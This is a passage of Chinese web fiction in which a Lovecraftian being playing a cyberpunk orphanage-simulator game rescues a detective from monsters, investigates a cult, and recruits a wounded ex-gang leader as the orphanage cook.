于是,下一秒,哈斯廷就听见电话那头的达斯汀警探爆发出一声几近怒吼的脏话:“***!下地狱去吧!怪物!!”
“乓!乓!乓!”
如果这世上有什么存在能够带来死亡,那一定不是地狱,而是达斯汀警探打出的子弹。
然而在达斯汀身边的东西一定是某种不惧枪子的怪物,或者敏捷到能够躲过子弹。
连发的枪声停止后,达斯汀警探仍在逃亡,急促的呼吸中伴随着他撞开门或障碍物的声音,还有他抓着对讲机的咆哮:
“JP20!!凤凰区香草街1525号!请求支援!我遇到了不明生物的袭击!!”
“啪!”手机落地声,紧接着一道突如其来的、电磁短路般的锐响。
哈斯塔再看向手机时,通话已经挂断了,达斯汀警探的来电提示灰暗下去,像是某种不祥的预兆。
*他遇到了什么?会是我们的同类吗?那他必死无疑了。*
心底里的声音带着一种虚伪的惋惜,但很快,它想起了什么,态度大转:
*不!不能让他死!我们想知道的真相怎么办?觉醒之路怎么办??那个人类不能在这种时候死去!!*
哈斯塔早已在那声音鬼叫前就行动起来了:
他快速叮嘱伊塔库亚留在院里,照顾好新线索;自己则摸出雷蒙德医生的号码簿,拨打了那个据称价格高达一个厨房(3万块),但接送效率的确很快的的士公司热线。
“欢迎致电巴比伦公司特快专线,请告知具体位置?”智能客服的声音十分熟悉。
哈斯塔迅速报出孤儿院的地址,不到十秒,窗口就扫过两道光柱。
悬浮车的速度很快,当他跳下停靠的车辆,影子一样掠进香草街时,时间才过去三分钟不到。
街道里安静得吓人,好像所有的声音、光线都被某种黑洞吸收殆尽,包括达斯汀警探的生命。
哈斯塔的黄袍像触须般扭曲伸展,已经做好一旦发现达斯汀警探真的死亡,就立即将人转化的准备。
但好在上帝今天稍微垂青了一下达斯汀警探,哈斯塔在一处死胡同里找到他时,警探靠在墙角,衣冠凌乱,但胸膛依在起伏,暂时用不上哈斯塔出场。
*弱小的人类。*
内心的声音明显松弛下来,又有了妖言惑众的余裕,
*你应当将他转化成眷族,哈斯塔。让属于你的线索,永远不可能在未经允许的情况下死亡。*
这一次,哈斯塔没有和那道声音唱反调。
对待非同类的态度,他一贯是冷血且无法共情的。更何况在他面前的只是一串数据。
但他依旧有自己的原则要遵守,譬如他不会主动发起攻击。
因此,此时的哈斯塔仅仅是沉俯下.身,无形的触须卷过达斯汀警探的胸膛,在对方身上留下一个精神烙印,确保对方即便受到足以致命的伤害,依旧无法在未经过他允许的前提下死亡,就收回了过量就足以致命的精力触碰。
而后从黄袍里摸出一根肾上腺素注射器,嗤地扎进达斯汀警探的胸口。
“……”达斯汀警探于昏厥之中哆嗦了一下,昏沉间感觉自己被某种巨型章鱼缠住了身体,又被捅穿了胸膛。
这种惊悚的触感令他猛然惊醒,睁眼就看见一袭熟悉的黄袍:“……H.J?”
哈斯塔丢开注射器,堪称体贴地将兜帽往下拉了拉——这黄袍具有一定的隔绝作用,只要人类不主动窥探黄袍下的真实,就不会陷入精神紊乱——挡住自己的眼睛:
“怪物在哪?你的同事什么时候会来支援?”
“……”达斯汀警探惊魂未定地瞪着眼睛,粗喘了一会,而后重重将慌乱和唾液一道咽回喉管,伸手缓慢而艰难地爬起来,“谢谢……我是说,谢谢你来救我,还有谢谢你的注射针。”
肾上腺素注射针也不便宜,达斯汀警探已经在心里将哈斯塔从“老穿兜帽披风,好奇怪一人”,提升成了“超大、超罕见的好人!!!”
他在心里计算着大概要还哈斯塔多少钱、这个月的工资还能不能有盈余,脸色顿时变得有些苦逼:“我恐怕不会有同事来帮我……”
灰发警探清咳了一声,显得有些尴尬:“你知道凤凰区的治安……嗯,就这么说吧,我的同事不可能为‘遭受不明生物的袭击’而出警,绝大数情况下,就算‘遭受帮派袭击’,他们都未必会出警。”
整个凤凰区警署,都处于一个混日子的不作为状态,主要原因也是作为不了——
“我没法怪他们。”达斯汀理着领带,小声咕哝,“在我考入警署之前,我想的也是精良的装备!意气风发的武装队伍!结果呢?”
他瞥了眼腰间的老式手枪和□□,笑容显得有些苦涩:“每个警员只能分配到一套制服,几件女士防狼用品,还有一个不作为但很能搞事的上司。”
反观他们要对付的黑.帮?
义体改造、重武器、肆无忌惮宣泄的暴力团伙……
会选择混日子的警探才是真正理智的警探。
有时候,达斯汀自己都会将自己归类为天真、理想主义的傻狗。
他抹了把脸,看向哈斯塔:“但不论如何,处理这种恶性袭击事件,维护治安,都是警署的责任,不该将一般公民牵扯其中——”
哈斯塔善良地决定容后告知警探3万块车费:“但我收养了伊塔库亚。”
“这个案件一天不解决,伊塔库亚的安全就一天得不到保障,我没法放置不管。”
不爱说话,不代表真的不善言辞。
有需要的时候,哈斯塔可以变得足够有说服力,灵敏的感官和某种与引诱相关的天性让他善于威逼利诱,并且是以一种委婉、不令人感到冒犯的方式:
“你看,这么危险的案件,让你一个人办理肯定不行,你需要人搭一把手。而我又不可能放弃追踪这个案件——”
“所以为什么不合作呢?我们一起,总比两个人单独查案要安全得多。”
“……”达斯汀警探被堵得哑口无言,半晌恼火又无可奈何地瘸着腿转身,往某个方向走:
“我猜我是没法劝你惜命了——来吧,这把□□分给你,你最好做足准备,那个房间里可能有不止一个怪物。”
伴随着□□落入哈斯塔手中,游戏左下角弹出半透明的窗口:
【已接受系列任务:[银舌头]。】
接住□□的哈斯塔保持微妙地沉默,希望不是自己昨晚心血来潮的烹饪,让达斯汀警探背上几万块的天降巨债。
他跟在灰发警探身后,掠过肮脏潮湿的水泥地,走入黑暗的香草街。
视线扫过那些黑魆魆的矮房剪影,大量凌乱暴露的粗电缆线,以及嗡嗡作响的空调外机:
“这里看起来比孤儿院环境还差。”
“你以为凤凰区的住房条件能有多好?”达斯汀警探在某扇窗边停下,压低身躯和声音,“到了。”
小屋里没有灯光,冷白的月色流淌入窗栏,在地面上拉出长长的影子,也映亮了满地、满墙的血色涂鸦。
屋子里没有人声,只有电线断损发出的滋滋作响。
隔着玻璃窗,哈斯塔能看见整个房间里充斥着稀薄的烟雾,偶尔有几串火花迸溅出来,照亮空无一人的内舍。
“不在了?它不在了?”达斯汀警探扒着窗台站起身,“咔嚓”一声为手枪重新上膛,在哈斯塔前面进入屋舍,“我记得我逃出来的时候,还有一只怪物藏在这里——就在这个方位!”
哈斯塔顺着达斯汀警探指的方向看过去,没瞧见任何怪物的痕迹。黏液、爪痕、足印……通通都没有。
*不是肉团。一定是同类。*
那个声音响了起来,音调似乎有些高亢。
但哈斯塔总感觉那高亢好像并不是因为高兴,而更像是猛兽在同一片领域发现了另一个同类……友好碰面绝不是它们会选择的相处方式。
哈斯塔的瞳仁在兜帽下收缩成扭曲的竖线:“那些怪物长什么样子?”
达斯汀警探试了试电灯开关,没奏效,只能一边小心摸黑,一边绿着脸回忆:“一个……长得像埃及法老?金头冠,黑皮肤。还有一只长着触手头。”
*同类!*
那声音殷雷般地低吼起来,像猛犸象攻击前兴奋地喷气:
*杀死它们……杀死它们,吃掉它们!变强!*
哈斯塔打从心底希望那道吵闹的声音不是他的本能,这样幼稚贫瘠的遣词用句实在让他鄙夷:“我听见了纸页翻动声。那里有什么?”
3点的智力值起作用了!
哈斯塔盯着布满符文的墙壁上唯一一点斑秃,目的明确地对达斯汀警探说:“光线太暗了,能帮忙念一下吗?”
“呃,抱歉,我之前把灯打碎了……”达斯汀警探优先自我反省,凑过来cos点读机,“这贴着一张……入会邀请函?”
大概是被怪物袭击的余悸还没过去,灰发警探不自觉地压低声音:
“不出所料,来自摇篮教的。说是父神已经看见了琳达女士这些年的虔诚和努力,准许琳达女士正式成为教派的一员……”
“剩下的好像都是资料,关于摇篮教信奉的神明之一,奈亚拉托提普的。”
站在哈斯塔的角度,达斯汀警探像是在翻一堆空气。
看着看着,警探的脸色变得苍白起来,靠肾上腺素撑起的身体开始摇摇欲坠:
“上面描述……奈亚拉托提普的化身,其中之一叫做‘黑法老’,做埃及法老打扮,还有一个,称为‘黑暗咆哮者’,其形象是……无面,三足,头部是一条血红的触手?”
——那不正是他之前看到的怪物的形象吗?!
哈斯塔只觉一道电流蹿过他的身体:真的是他的同类!
他立即道:“有提到哈斯塔吗?”
达斯汀不可思议地睁大了眼睛,显然无法理解为什么他说出这么惊悚的信息,H.J在意的却是什么哈斯塔。
但不在工作时和搭档起争执是他一贯的社交态度,于是瞪完人,他还是压着奔涌的情绪,转回头继续扫看:“——哦,这里有一张简略谱系图。按照图上的标识……奈亚拉托提普应该算是哈斯塔的舅祖父。”
哈斯塔:“……”
内心的声音:……
短短一句话,伤害那么大,活生生把哈斯塔的亢奋悸动,内心声音的鬼哭狼嚎给一同干灭了。
内心声音吐了句“不”就陷入自闭。
哈斯塔也在沉默之后恢复了冷静:“仔细想想,如果袭击你的真是什么奈亚拉托提普,你怎么可能还活着?”
就达斯汀警探这种小豆芽,哈斯塔他都干不过,怎么可能从哈斯塔的“舅祖父”手底下侥幸逃生?
达斯汀:“?可是祂们看起来和资料上描述的一样。”
“理智地想一想,谁都没见过这个所谓的‘奈亚拉托提普’。万一祂其实就只是个普通怪物?或者非法实验室产物?融合了黑人基因或者章鱼基因什么的……”
*这是羞辱!!这是彻头彻尾地羞辱!!*
内心的声音开始尖啸。
哈斯塔觉得不能全怪达斯汀,主要是这俩舅祖父的化身不争气。
两个打一个达斯汀警探居然都没把警探弄死,他觉得那个舅祖父更丢人:“总之我认为袭击你的不是真正的奈亚拉托提普。”
什么找到同族的激动,遇到竞争者的亢奋,全没了。
哈斯塔开始冷静地翻阅屋子里的其他资料,无视达斯汀警探“也有可能,那就是有人故意假扮的”的嘀嘀咕咕。
这个房子的屋主是一个小型公司的中层员工,工资不算低,但也不足以让他搬到条件更好的其他城区。
达斯汀警探从卧室的床头柜里翻出一堆药片,证明这名失踪人员近期似乎倍受精神衰弱的困扰,为此还多次前往医院,在短短一个月内体检了两回。
哈斯塔强迫达斯汀警探将两份体检报告念了一遍,因为这些报告页包括在3点智力看不见的范围内:
“他很健康。”
“对……”一连串数字念的达斯汀警探有气无力,恐惧全消。
他现在只想殴打强势且不讲理的同伴,但又因为高额欠款而下不了手:
“你满意了?还有什么别的需要我读的?《露明娜日报》?床头故事集?”
哈斯塔捕捉到灰发警探气味中的一点挖苦:“我认为体检报告是重要的线索。”
3点智力的系统认证!绝不可能出错!
警探揉了下太阳穴:“好,好……你说什么就是什么。现在我们可以离开了?”
现场调查已经结束,他们除了能判定这次的失踪人员也加入了摇篮教,并未分析出任何与其去向有关的信息。
达斯汀警探决定回警署,查看一些过往有没有出现过类似的案例,比如撞见怪物什么的……他看看哈斯塔:“你们院里今天的早饭怎么解决?”
正在琢磨资料里的内容有几分真,几分假(主要是舅姥爷的亲缘关系)的哈斯塔:“……”
别说早饭怎么解决了,昨晚的宵夜问题都还没解决……哈斯塔的眼神漂移了一下,希望那几只鼻嘎点大的肉团威胁性也只有鼻嘎点大。
达斯汀警探一看哈斯塔这用沉默作答的样子就一个头两个大:“该不会还没招到厨子吧?——哦,不对,今天经历了太多事,我都忘记了,建议你请厨子也就是今天……哦,是昨天白天的事。”
一起案件从凌晨四点办到了临近六点。
达斯汀打了个大大的哈欠:“走吧,去孤儿院,今天的早饭我帮你们做。”
哈斯塔接受了达斯汀警探的好意,并招来等在香草街外的悬浮车钻进去。
“……”达斯汀警探的哈欠硬生生卡住了,瞪视悬浮车,像尊鱼唇的雕像。
贫穷的警官瞳孔地震,心脏地震,钱包地震:“你……这辆车,该不会也是你为了救我叫来的吧?”
倾家荡产的普通工薪一族想要晕倒在悬浮车前。
·
不管有多不想接受现实,该还的钱还是得还的。
警局的配用脑芯做出了体征诊断,两小时前,如果不是哈斯塔及时赶到的那一针,达斯汀就会死于休克,再多的钱也买不回这条命。
哈斯塔一边听灰发警探的感谢,一边给伊塔库亚发消息:
【警探先生来做早饭,你留在伤员房间照顾他,不要出来。】
感谢雷蒙德医生的贡献!伊塔库亚才有多余的手机和哈斯塔保持联络:
【明白。】
【但是父亲,院里那个燃气灶不是有管道问题吗?达斯汀警探能用?】
——这也是哈斯塔想知道的问题。
怀揣着自我证明的心态,哈斯塔一路虎视眈眈地跟随达斯汀警探下车,走进厨房。
掸眼再去开那些弹窗:
燃气灶:【这是一个内心柔软而双手灵巧的男人,它愿意向警探先生敞开自己的一切】
冰箱:【冰冷的心也会为美味的食物而融化!!】
水池:【它希望用最温暖的水流,冲刷走警探先生身上的疲惫。】
自证失败,自取其辱的哈斯塔:“…………”
*这没什么。*
内心的声音都跑出来安慰他了:
*你的道路注定不在庖厨之间,而在更远的宇宙……远远超出肉眼可见范围,超出人类的认知。*
但我无法做出一顿正常早餐。
一朵失意的蛋黄水母飘出了厨房,就连后续警探先生一边吃饭,一边跟他分析今天的案情都没心思听。
达斯汀警探多少有点粗线条,没注意到院长先生这点小小的挫败,三下五除二干完今天的早餐,就擦擦嘴站起身。
他大步走
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向孤儿院大门,临出门前,忽然顿住,郑重其事地转身看向哈斯塔。
六点,晨曦是一片暖金。
警探的灰发变成一团柔软的金绒,浅蓝色的眼珠在熹光中剔透:
“你今天的所为——包括你愿意收养伊塔库亚,为他冒生命危险、破费良多,都非常高尚。”
“凤凰区很少有这样的高尚,有时候我都想过放弃这片被遗弃之地……我很高兴,能够在放弃之前遇到你,院长先生。”
他摸了摸胸前的警徽,以宣誓般的语气郑重向哈斯塔说:
“不论接下来的办案过程发生什么,不论邪神怪物是否存在,我都会站在你身前——如果死亡要带走你的生命,那就先跨过我的尸体。”
警探有力的声音很快在玄关的阳光中消散了,他没有多做停留,简短地点点头就转身离开。
留下哈斯塔独自愣在门口,被茫然卷席。
*……你应当把他转化成眷属。*
那个声音也安静了片刻才开口:
*他会成为你最忠实的先锋。*
哈斯塔从那股奇怪的触动中抽离出来,清醒地反驳:他只会忠实于正义,不会忠实于怪物。
“轰隆……”
新装的大门重重关上,将阳光隔绝于厚实的门板之外。
哈斯塔沿着楼梯飘上二楼,走进伤员的宿舍:“他看起来怎么样?”
六点十分了。
六点半一过,去上班就会有点赶,哈斯塔不喜欢着急忙慌地失态赶路。
*
宿舍床上。
芬尼安凭借改造过的耳蜗,完整地旁听了达斯汀与哈斯塔之间的对话,心里对孤儿院有了全新的印象:
首先,那个叫做伊塔库亚的孩子会认真地照顾他,替他更换退烧的冰毛巾,轻手轻脚的温柔动作证明,对方应当不是个坏孩子。
其次,那个说话声音怪里怪气的父亲会主动冲去救警察,为了孩子和警察一起冒险破案,证明这应当也是个好父亲,好院长。
他听到警探的巡逻车被突突开走,宿舍的房门被人推开。
那个父亲步履轻盈地走进来:“他看起来怎么样?”
——他受到了很好的照顾,应该表达感谢,同时跟这对父子说明清楚,收留他会有哪些风险。
芬尼安这么想着,用积蓄了很久的力气,睁开双眼:“谢——”
他的话卡死在喉咙里。
他瞠圆双目和两簇近在咫尺的晦暗黄光对视,那两簇黄光就隐没于一片空洞而深邃的黑暗中。
那是眼睛吗?那是面孔吗?他无法理解。
一切声音似乎都远去了,有人在他的身上凿开了一个大洞。他的生命、他的灵魂,都像苍白的水流,无尽地流淌出躯壳,流向不知名的远方。
他听见自己颅骨中脑叶蠕动的黏腻作响,听见肺腑滋生出密布触须的声音——
他猛然闭上了双眼。
*
哈斯塔也没想到自己就是低个头,就恰好跟伤员对上视线。他看不见呢!此时像睁眼瞎一样询问伊塔库亚:“这里是他的脸吗?”
伊塔库亚:“……是的。您好像不巧跟他对上视线了,父亲。”
哈斯塔条件反射地直起身:“他畸变了没有?”
“没有。”伊塔库亚好奇地看着重新睁开眼的线索先生,“他的意志力好像格外坚定。你好,先生,可以知道您是谁吗?”
“……”芬尼安因父子俩的对话而试着再度睁眼,内心不断涌过各种思绪:
为什么这个怪物在问旁边的小崽……大崽子“这是他的脸”?祂看不见他?
为什么怪物要帮警察找怪物?想在人类中卧底?还是怪物内讧?
——哦天,那个毛怪的眼睛像两团燃烧的星球,这太他妈不科学了!!
唯物主义者痛苦地站在自己碎裂的三观中,试图抓住一点不变的、应对危机的处理方式:“芬尼安。你们可以叫我芬尼安。”
倘若摒弃感性,理性地看待当前的情况,不难发现:这两只怪物对他并无恶意,否则早就可以下手,没必要照顾他。
他的身上的确有很多值得人类惦记的东西,但并不值得怪物惦记。
更何况,他的身体根本不适合剧烈运动,此时莽撞竖敌,无异于自寻死路。
芬尼安身上有很多缺点,但“不识时务”绝不属于其中之一。
他主动放松了身体,呈现出毫无防备的姿势,鸽灰蓝色的眼睛看向哈斯塔——他没敢再直视兜帽下,只是做了一个微微仰头抬眼的姿势,像羊羔向着捕食者的獠牙伸长脖颈:
“谢谢你们收留我。”
在芬尼安自我介绍完的一瞬间,哈斯塔就能看见这位线索先生的样貌了:
他长了一张很优渥的面孔,兼具少年的凌厉和青年的慵懒张狂。
此时以他温驯的神态,刻意削弱了属于青年人的、极具攻击和倾略性的部分,自我献祭般的姿势和敞露的胸肌便令房间内的气氛变得有些……嗯,伊塔库亚不宜。
哈斯塔嗅到了这股被他定义为“□□”的复杂复合气味,怎奈何他的性取向实在不为人类。
因此,他的注意力更多地放在芬尼安介绍过后,新弹出的角色面板上,其中一行描述引起了他的关注:
【角色:芬尼安(???)】
“?”哈斯塔没有闻到谎言的气味,这证明芬尼安的确是线索先生的名字。
但面板后面跟随的一串问号,又暗示着“芬尼安”另有其名……
哈斯塔的目光重新放回芬尼安身上,结合此角色高得吓人的数值面板,以及系统的暗示,感觉自己仿佛看见一头年轻的棕狮正试图藏起肌肉和爪牙,假扮无害大猫。
但芬尼安想怎么伪装不是哈斯塔关注的重点,他的重点是:
“你听过摇篮教吗?哈斯塔呢?奈亚拉托提普?阿撒托斯?”
芬尼安挑眉,仍显得很诚恳:“没有,先生。除非算上你们的对话。”
哈斯塔很难从这人脸上的表情中分辨出真假,只能微微靠近,去闻嗅对方的气息:
戒备、敌意,但并没有恶意。这人只是出于防备,才戴上伪装,说自己没听过摇篮教也是真话。
他遗憾而困惑地退开,自觉自己的眼神很友善,没有任何冒犯的意思。
但被哈斯塔的双目审视的芬尼安却完全没有同感。
他再次产生了不真实的幻觉:仿佛自己变成了一只布套玩偶,一双手粗暴地将他的灵魂扯出躯壳,悬挂在两轮黑日之间……
他再次通过闭上双眼、清空大脑,来强行阻隔这些让他变得不适的幻想。
再睁眼时,额头与敞露出的皮肤上都浮出一层薄汗:“我可以做很多事的,先生。”
他的胸膛因为急促的呼吸而快速起伏,肌肉线条惹得伊塔库亚都忍不住瞟去几眼:
“我擅长机械学,可以帮忙维修故障的燃气灶,还有院里的任何器械设备。只是需要等我的伤稍微好点……”
他就当场开溜。
哈斯塔嗅到了谎言的气味,抬头瞥了眼绝不可能放跑的线索先生:
“燃气灶不需要维修。它只是和我关系不和。”
芬尼安:“……”
真的假的!都到这份上了,还坚持做饭翻车是因为燃气灶发小脾气,不是燃气灶——或者自己有问题?
哈斯塔当然要坚持,燃气灶确实没问题啊!也确实跟他关系不和:“院里不需要维修工,只需要一个厨子。”
芬尼安:“……”
这倒是实话。
但他主动提议当维修工已经很自降身份了,让他当厨子?
真是大材小用!暴殄天物!浪费可……
芬尼安感受到那道目光又在他身上切割,重重挫了下后槽牙:“我,也会做些家常菜的……”
哈斯塔满意颔首,拉开退出界面,准备启程去上班。
系统叮咚响了一声:
【达成隐藏角色图鉴收录!】
【是否查看角色故事?】
哈斯塔:“……”
解锁角色故事?现在?在他准备下线上班的前一秒?
8. 第 8 章
9月30日,也就是哈斯塔接触游戏的第3天。
哈斯塔已经产生熬夜不睡打游戏、因为游戏抗拒上班等诸多沉迷行为,他甚至还盯着防沉迷提示沉思良久,琢磨自己要不要请个病假。
*不。哈斯塔。*
一贯忠于本能的内心声音居然出声阻止了他,语气坚定而严厉:
*为了游戏而请病假,那是人类小孩才会做的事。不要这么做,哈斯塔。*
——那也太丢人了。
形象包袱有一吨重的哈斯塔磨蹭着下线,以和往常一样优雅的姿态抵达集合地点。
工作开始后,他就忍不住开始开小差:
奈亚拉托提普,他对这个名字有种本能的熟悉感。
这个名字一定属于他的同类,但袭击达斯汀警官的那两个废物点心就不一定了。
——是的,因为过于废物,哈斯塔单方面将那两个不知真假的玩意儿开除了同籍。
他紧跟着又琢磨:每当接触到奈亚拉托提普、阿撒托斯这些名字时,他都有一种古怪的直觉,告诉他“这就是同类”。
但为什么他没有在现实世界中感受过这种直觉?
每个实验体融合的基因不同,没人和他共享相同的血脉很正常。但为什么连相关的情报都没有?
他在现实世界中,从没见过萨达—赫格拉、伊塔库亚这些词汇,直到进入《赛博孤儿院模拟器》这款游戏。
——或许,公司对他进行了*情报封锁*。
一个念头忽然闪过哈斯塔的思绪。
在这个纯白的世界里,公司掌控一切。
要想在他周围建立一张情报网,过滤掉公司不希望他知道的情报,并不困难。
那为什么现在公司又决定让他接触这些情报了?
——还是说,其实公司*并没有同意*?
只是有人希望他能知道这些与自己有关的真相,所以想方设法绕过公司,借由《赛博孤儿院模拟器》这款游戏,想告诉他点什么?
会是绿朱草吗?哈斯塔想起监护人对这款游戏的强力推荐,以及关于“返祖觉醒”的暗示。
*我们应当找机会和他谈谈。*
那声音说:
*直接聊聊,效率更高。*
不行。
哈斯塔再次反驳了内心急躁而缺乏理性思考的声音:
如果想告诉他真相的人并不是绿朱草呢?如果他的询问让绿朱草生疑,反而打草惊蛇呢?
他在现实世界里循规蹈矩的工作是有原因的,他*无法战胜*那个坐在老板办公室里的人。
虽然绝大多数情况下,老板对他的态度好到近乎于纵容(这种感情是真实的,他能够闻嗅出对方的真心),但如果封锁命令就是老板下的呢?
*……要不还是请病假吧,哈斯塔。*
内心的声音诚恳地修改了自己的意见。
·
下午五点三十分,作战科难得准时下班。
哈斯塔在保持形象的前提下,以最快的速度赶回H-1区,带上头盔。
熟悉的登入PV之后,上一次离线时没管的提示优先弹出来:
【达成隐藏角色图鉴收录!】
【是否查看角色故事?】
激动的心,颤抖的手,哈斯塔卷起都成小碎花边的袍角,选择确定。
【???·灯神寓言之三】
【*时间终于来到灯中精灵被困的第2个1000年。*
一切都在好转,一切都如此顺利。
芬尼安引领着赞恩帮,永远走在正确的那一条岔路上。
他利用暴力,但绝不沉溺于暴力。
恩威并济的手段,让赞恩帮在成立的第2年,就掌控了整个凤凰区将近五分之二的灰色交易链,给予他和涅槃帮平起平坐的资格。
“我们要牛逼大发了!”
AF71年9月的一个夜晚,赞恩帮驻地内满是狂欢的氛围。一个醉醺醺的帮派成员激动地举起酒杯,两眼放光:“和涅槃帮谈地盘划分!谁能想到一个刚成立没两年的帮派,能做到这一点?你是个传奇!芬尼安!”
被盛赞的棕发青年懒洋洋地靠在黑皮沙发上,像一头正在晒太阳的年轻棕狮:
“悠着点,加文。这只是个开始,我们以后会更加传奇。”
芬尼安如此许诺着,在欢快的苏格兰小调中惬意眯眼,任上等的红酒将自己灌醉。
直到某一刻,一把添加了神经毒素的尖刀捅进他的胸膛。而他在刀刃刺入的前一刻,甚至还闭着双眼,放松地随着小调点着额头。
——音乐声消失了,所有的声音都消失了。
那一刀正中芬尼安的心脏,他错愕地睁眼,正对上加文因醉意而涨红的脸。
而后他反应过来:
加文的亢奋并不是因为‘即将和涅槃帮平起平坐’,而是因为‘我,加文,即将和涅槃帮平起平坐’。
——他被背叛了。
人生中的第二次。
“乓!”
枪声。正中他的右手手腕。
“乓!”
枪声。正中他的肘关节。
所有参与背叛的人都执行了这场“仪式”,作为对加文效忠、绝不会跳反支持芬尼安的宣誓。
直到所有的子弹都打尽,他被拽上了一辆皮卡。
——谢天谢地这些人开的不是他的“亚瑟”。
血液迅速流失造成的失温和昏沉中,他这么想,神经已感知不到疼痛,只有冷……无限用来的寒冷……
*灯中精灵等待的第2个1000年,祂从充满希望,到逐渐失望。
寒冷包裹着祂,祂绝望地发出恳求:任何人!任何人都好!只要能将祂救出去,祂愿意实现这个人的任何愿望!*
皮卡载着他,一路开进了沙漠废土。
他被加文用力拖下车,抛进沙漠。
临离开前,加文站在他身边,以怜悯般的语气说:“安息吧,芬尼安。”
“你是个有手腕的人,我知道。但你实在有太多‘底限’了——”
“贩.毒,不做。人口买卖,不做。皮肉生意,也不让做!”
“所有能赚大钱的买卖你一个不沾,就算赞恩帮能和涅槃帮平分地盘又怎样?那些钱还不是流不进我们兄弟的口袋!”
加文似乎意识到自己对着一具已经停止心跳的躯壳暴怒有点掉价,强压着自己冷静下来:
“你不能再这么捆束我们了。不能。”
加文的声音变得有些忧伤:“涅槃帮和我谈的条件是上交你的尸体,但我没答应。兄弟一场,我想至少给你的尸身留一个体面……”
温烫的沙子洒落在芬尼安的脸上。加文说:“愿流沙吞没你的尸首,保全你的尊严。”
沙沙的脚步声远去了,而后是皮卡的引擎响起,将他独自抛在沙漠废土中。
一秒,两秒。
第七秒时,他于不久前才植入的机械心脏准时启动,将大量医疗药剂一并泵入他的血管。
他像溺水的人一样“嗬”地挺身醒来,在药剂的支撑下,挣扎着处理掉所有卡住义体关节的子弹,踉跄着起身,走向沙漠之外。
复仇之火驱动着他,让他拖着濒死之躯,跋涉出茫茫沙漠。
他在一个破旧的孤儿院门前倒下,听到有声音从院门内涌出来:
“什么人?”
“有个血葫芦倒在门前了!怎么办?”
*第2个1000年的最后一天,祂听见有行人路过,绝望的心顿时恢复跳动:
救我!救救我!祂锤着灯壁嘶喊,我可以为你实现任何愿望!我是森林里最强大的精灵!*
希望短暂地涌进芬尼安的心脏。
他挣扎着试图抬头,听见有人从院门中走出,粗暴地拽住他的头发,抬起他的头:
“——赞恩帮的芬尼安?这家伙怎么……哈!算了,撞上门的买卖,咱们也算是苦尽甘来了。”
“嘿!胖子,去拿点咱们新制的‘骨灰’给首领大人尝尝鲜,记得记录他的反应——等试完药,咱们再把他送给涅槃帮,这叫物尽其用!”
*第2个1000年过去了。
灯中精灵睁开双眼,极致的愤怒和憎恶令祂前所未有的强大,祂砸碎了囚困祂的灯盏。
祂变成了神灵,一个仇恨的、愤怒的神灵,所有曾令祂失望的人,都将支付应有的代价*】
故事书的图标缓缓合拢,变成可反复阅读的待选状态。
哈斯塔重新点开图标,盯着最后那几段琢磨了片刻:
“骨灰”好像是鹰帮那群混混折腾出的新毒.品吧?故事里芬尼安倒在孤儿院门前时,鹰帮还活着?
难道这故事说的是没有玩家存在的故事线?
哈斯塔的目光又扫向故事的标题:灯神寓言之三。
不知道三之后还有没有别的篇章,但三之前肯定还有两篇故事,大概说的就是芬尼安那个???的隐藏身份。
哈斯塔不懂得人类的情感,无法对故事产生同情或愤怒情绪,整篇故事读下来,他只抓到一个重点:
芬尼安,他善!
人善就会被人欺……啊不是,是利用,啊也不是,是容易被责任感束缚。
关上故事模块,哈斯塔好像找到办法让线索先生心甘情愿地留在孤儿院了。
他环视了一圈周围,系统因为阅读图鉴而延迟的提示缓缓浮现:
【9月30日·5:30p.m·凤凰区·孤儿院】
游戏的时间又一次和现实重合。
而下午五点半,这个时间点,最应当做什么事?
哈斯塔怀揣着攻略心得,飘出办公室,飘上二楼的伤员宿舍。
很意外的是,伊塔库亚竟然没呆在自己的宿舍里,而是扒在芬尼安的床边。
在哈斯塔进门前,伊塔库亚似乎正和芬尼安小声聊着什么,芬尼安的神情介于“啊为什么要找我聊天”的不耐,和“这是个寂寞的好孩子”的心软之间。
哈斯塔一看芬尼安这想赶人,但又
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不想伤孩子心的状态,就确定自己的攻略心得稳了。
他迎着芬尼安“你怎么也跑我房间了,你又想干啥”的瞪视,理直气壮地飘进房间,一整朵蛋黄水母扁扁地扒在芬尼安的床边,恰好和伊塔库亚达成“排排趴,饿扁扁”的状态:
“好饿。没吃午饭。好饿。”
伊塔库亚其实感觉还好。变成怪物之后,他对于进食的需求就改变了。
但既然父亲说饿,他当然不可能否决!
想想自己钻进屋子想找芬尼安聊天时,芬尼安都能踩着窗户准备溜号了,伊塔库亚果断加入父亲催饭的行列:“饿。我也饿。”
第一次试图溜号,就被毛怪的狗狗荷包蛋眼硬控留下的芬尼安:“……”
他的目光缓缓划过床边:
左边,扒着一颗扁扁的蛋黄水母,令人生畏的黄色眼珠已经变成了一对流泪猫猫眼。
右边,扒着的是一颗大号蓬松毛球,柔软的茸毛和荷包蛋眼一起可怜兮兮地抖动。
蛋黄水母越趴越扁,白色毛球也呜咽着耷拉下飞机耳……
“……”芬尼安在内心经历第N次感性与理性的交战。
你清醒一点!这是两只怪物!你连自己的事情都处理不好,一堆烂摊子,难道还要趟新的浑水?——理智严厉呵斥。
但他们救了我,而且并没有对我做任何坏事,也没有向我索要什么……怪物里也会有好怪物,对吗?就像有些人,虽然披着人皮,却畜生不如。
……**!
芬尼安在心里骂了句脏话,再一次纵容感性战胜理性,扶着床沿坐起身:
“先说好,这只是一份短期的工作,我只做到教会院长正确地烹饪,或者院里招到合适的厨子。”
哈斯塔立即决定撤掉厨师招募。
·
出乎哈斯塔的意料,芬尼安的厨艺远超普通水平,在条件允许的情况下,甚至做出了高档餐厅的味道。
这让他在席间接起警探电话时,说出的第一句就是:“吃过了吗?警探先生?要不要来孤儿院尝一尝新厨师的手艺?”
“你招到新员工了?”达斯汀警探听起来有些惊讶,显然没想到哈斯塔的办事效率这么高,“——恭喜,但我恐怕没空去享用了。”
“听我说,今天早上和你分开后,我回警局查了一下过往卷宗。你猜怎么着?”
哈斯塔不像曾是人类的伊塔库亚,对再高端的美味,也只有“判定好坏”的反应,而没有享受的反应。
补充完进食需求(指填满游戏的饥饿条),他就放下刀叉:“你发现了其他类似案件?”
“准确来说,不是我发现的。”达斯汀警探的语气听起来有些忧虑,“事实上,在我进入档案室后不久,我就在其中一个书架上,找到了一摞整理得相当……”
他似乎在寻找合适的形容词:“相当*整齐*的资料。”
他略微形容了一下:“资料是用A4纸打印的,摞在一起,整齐得像是刚拆封的新纸。所有的资料都按照时间、受害者所在地区、崇拜的邪神类型进行了三次分类。”
“那资料就放在档案室最显眼的那个架子上……简直就像是故意被安置在那里,等待人发现一样!”
